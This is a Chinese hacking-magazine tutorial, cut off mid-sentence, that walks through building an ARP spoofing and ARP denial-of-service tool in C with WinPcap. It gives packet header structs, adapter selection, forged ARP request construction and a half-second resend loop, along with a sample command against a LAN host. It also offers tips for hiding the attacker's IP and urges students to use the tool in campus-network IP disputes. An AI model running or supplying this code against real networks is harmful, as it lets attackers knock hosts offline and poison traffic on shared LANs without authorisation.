关于讨论ARP哄骗的文章,黑防在第8期的《小窥ARP协议》和第9期《ARP SPOOF DoS攻防详谈》均有介绍,不过,俗话说,授人鱼,不如授人以渔,更多的读者也许期待的是如何将其原理和编程实现结合。本文的着笔点正是出于这样的目的,更是对上述两篇文章的一个补充,希望能给读者们真正理解ARP攻击的实质,同时,也给部分想学习而又害怕学习WinPcap的读者一些“师傅领进门”的感受。
【以下测试环境为WinXPsp1 + VC6.0sp6 + WinPcap3.14beta,其中,必须安装WinPcap3.0以上版本的驱动。】
首先,我们通过例子来回顾一下ARP哄骗和攻击的原理吧。先来做个实验,先打开一个cmd窗口,输入arp –a,该命令表示通过询问当前协议数据来查看本机ARP缓存保存的入口地址。
上面表示作者本人的主机IP为192.168.3.155,现在ARP缓存里只有两条IP为192.168.3.253和192.168.3.254的ARP缓存记录,很显然,两IP是作者主机所在局域网的网关(嘿嘿,校园网和ADSL),它的MAC地址为**-**-18-23-b8-10和**-**-4c-78-22-22,类型为dynamic,即动态缓存。
然后,ping同一局域网内的另一IP为192.168.3.162的主机,再次输入arp –a,得到结果。
看到,虽然PING不通,但ARP缓存却刷新了,添加了192.168.3.162这一项记录,并显示其MAC地址为**-**-ab-31-5c-3c,类型也是dynamic,显然,对方开了防火墙并设置了禁止内发的PING包,但是仍然暴露了该主机是活动主机的事实,而且对方的ARP缓存因此而刷新。
好了,到现在,我们可以把目标定为,伪造192.168.3.155的MAC地址为11-22-33-44-55-66,以达到哄骗的目的。我们以此为基点,先进入编码的部分。因为整个ARP Spoof&Dos都在交换环境的局域网内,涉及到的都是MAC层的通信,所以定义以太网首部和ARP首部就成为必要的了,这样我们才可以构造伪数据包,如下:
typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 目标以太网地址*/
unsigned char eh_src[6]; /* 源以太网地址 */
unsigned short eh_type; /* 以太网包类型 */
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned short arp_hrd; /* 硬件地址格式 */
unsigned short arp_pro; /* 协议地址格式 */
unsigned char arp_hln; /* 硬件地址长度 */
unsigned char arp_pln; /* 协议地址长度 */
unsigned short arp_op; /* ARP/RARP 操作 */
unsigned char arp_sha[6]; /* 源发送者硬件地址 */
unsigned long arp_spa; /* 源发送者协议地址 */
unsigned char arp_tha[6]; /* 目标硬件地址 */
unsigned long arp_tpa; /* 目标协议地址 */
}ARPHDR, *PARPHDR;
每个字段在注释里讲的很详细了,如果有疑问,可以查阅TCP/IP相关书籍。下一步,笔者的Spoof实现需要输入2个IP地址外加一个可选的网卡地址,所以就涉及到解析输入的主机名或IP的实现,这个相信很多写过网络程序的读者都不陌生,如下:
DWORD ResolveAddr(const char* host)
{
PHOSTENT hp;
DWORD host_ip;
host_ip = inet_addr(host); /* 转换成网络地址 */
/* 如果是主机名或域名,非点分10进制IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("\nError: could not resolv hostname %s\n", host);
exit(1);
}
else
host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 转换成32位网络地址 */
}
return host_ip;
}
然后,需要定义一个GetInterface()函数,顾名思义,就是获得本地主机网络接口的意思,因为基于WinPcap的几乎所有应用程序都需要选择合适的网卡适配器。(很多刚接触WinPcap的读者可能会感到很惶恐,好像WinPcap所用的API函数让很多Windows程序员一下子接收不了,其实很正常,用的多了,看的多了,慢慢的,我相信读者门会越来越喜欢强大的WinPcap的)GetInterface()定义如下:
pcap_t* GetInterface()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
int i, inum;
pcap_if_t *alldevs, *d;
/*取得设备列表*/
if(pcap_findalldevs(&alldevs, errbuf) < 0) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印设备列表*/
i = 0;
printf("\n\nInterfaces list:\n\n");
for(d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if(d->description) printf(" (%s)\n", d->description);
else printf(" (No description available)\n");
}
if(i == 0) {
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
pcap_freealldevs(alldevs);
exit(1);
}
if(i > 1) {
printf("\n\nEnter the interface number (1 - %d): ",i);
scanf("%d", &inum);
if(inum < 1 || inum > i) {
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
exit(1);
}
} else inum = 1;
/* 跳到被选择的网卡适配器接口 */
inum--;
for(d = alldevs, i = 0; i < inum; d = d->next, i++);
fprintf(stderr, "\n\nAdapter used: %s\n\n", d->name);
/* 从网络上打开活动的捕获行为,返回一个pcap_t类型描述符 */
fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
if(fp == NULL) {
printf("\nError: %s\n", errbuf);
pcap_freealldevs(alldevs);
exit(1);
}
/* 释放pcap_findalldevs()打开的接口列表*/
pcap_freealldevs(alldevs);
return(fp);
}
上面的注释已经比较清楚了,所有的涉及到的WinPcap的结构体和API函数,以及基于WinPcap程序的编译方法,大家都可以到http://winpcap.polito.it/在线查询或把文档下载后本机查询,或者到论坛询问。在我的代码里,我假设如果用户输入可选的伪MAC地址,则使用这个自定义的伪MAC地址,如果不输入,则使用随机产生的伪MAC地址,代码部分如下:
if (!argv[3])
{
sprintf((char*)mac, "%c%c%c%c%c%c",
rand(), rand(), rand(), rand(), rand(), rand());
}
else
{
for(i=0; i<ETHERLEN; i++)
{
sscanf(argv[3], "%02X", &tmp);
mac[i] = tmp;
argv[3] += 3;
}
}
为了得到由系统时钟产生的随机数,必须在头文件里加入 #include <time.h>,在程序里加入srand(time(NULL));
WSAStartup(MAKEWORD(2, 2), &wsaData); /*初始化win sock库*/
ip_add = ResolveAddr(argv[1]);
ip_dst = ResolveAddr(argv[2]);
WSACleanup(); /* 用完了,记住释放哦 */
为了使用winsock2头文件,要指定#pragma comment(lib, "ws2_32.lib")来包含ws2_32.lib库文件。下面就到了自定义构造以太头和ARP头了,这就是我们伪造MAC的加工厂:
memcpy(ether->eh_dst, DEST, ETHERLEN);
memcpy(ether->eh_src, mac, ETHERLEN);
ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
arphdr->arp_hrd = htons(ARPHRD_ETHER);
arphdr->arp_pro = htons(ETHERTYPE_IP);
arphdr->arp_hln = ETHERLEN;
arphdr->arp_pln = PROTOLEN;
arphdr->arp_op = htons(ARPOP_REQUEST); /* 请求服务 */
memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 伪源MAC地址 */
arphdr->arp_spa = ip_add; /* 伪源ARP 协议地址*/
memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 伪目标MAC地址 */
arphdr->arp_tpa = ip_dst; /* 伪目标ARP协议地址 */
这里所有的宏都可以在我提供的arp.h头文件里得到对应的定义。每一项都很清晰,主要是构造最后的几项(有注释的行),那里是滋生罪恶的源头。
伪MAC包构造好了,最后剩下的就是发送伪数据包了,再次发挥WinPcap库的发包函数,如下:
pcap_sendpacket(fp, buff, sizeof(buff)) ;
到这,可以长嘘一口气,大吼一声“打完收工”,让我们测试一下成果,看是否能达到我们最开始预定的目标。输入 arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
首先,提示输入接口号,因为WinPcap库必须选择正确的网卡适配器接口,在笔者机子上,安装了2个虚拟机,所以有4个接口,2号接口代表本系统网卡接口,所以选2(你的可能不同哦),回车后,发现右下脚马上提示IP地址冲突…嘿嘿,我们来分析一下,arpspoof.exe是我们哄骗程序,192.168.3.155是笔者的IP地址,192.168.3.162是同一局域网内另一主机IP,就是把192.168.3.155地址的MAC地址11-22-33-44-55-66添加到192.168.3.162这台主机的动态ARP缓存里,攻击过后,192.168.3.162的ARP缓存。
刚才我把自己的IP当做参数一导致了自己的IP冲突,那如果我想使192.168.3.162这台机子产生IP冲突,就可以调换一下参数一和参数二的位置,即
大家想想什么原理,呵呵,这里我就不多说了。如果想隐瞒作为攻击者的IP,第2个参数可以改成网段内的任意其他的IP。这样,我们发起一次攻击,192.168.3.162的主机就产生一次IP冲突,但这样肯定是不够的,每隔一段时间,对方的ARP缓存就会刷新一次,所以,如果要进行一次ARP Dos攻击的话,我们还必须不断的给他们发,以保证对方ARP缓存始终是我们构造的伪MAC地址。实现很简单,如下:
while(1) {
if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
printf("\nError: problems for sending packet\n");
exit(1);
}
printf(".");
sleep(DELAY); /* 这里的#define DELAY (CLOCKS_PER_SEC >> 1) 即半秒 */
}
攻击过程。
点点就表示每隔半秒发送一次ARP包。结果是,在被DoS攻击后,如果再次PING
192.168.3.162,即使对方不开防火墙,也没有禁止INNER PING,却仍然PING不通,查看
自己的ARP缓存,我们发现,对方的MAC地址编程了00-00-00-00-00-00,攻击成功。
小结:
在了解了ARP Spoof&Dos攻击的原理后,实现起来就不那么难了。大学校园网常常因为IP资源的严重不足而发生同学们互抢IP的现象,有懂一点ARP哄骗的学生就用网络执法官等工具,而不懂的的就只有任人宰割,如果你还是那被宰割的一部分人中的一个,那么看完了本文的你,是不是也该做点什么了呢。(在光盘的源代码文件里,只提供了一个源代码文件arpspoof.cpp,它的作用是实现给目标IP添加ARP缓存,而arpdos.cpp我没有提供,防止有人做坏事,呵呵,如果你是真心抱着学习的态度,那么我相信看完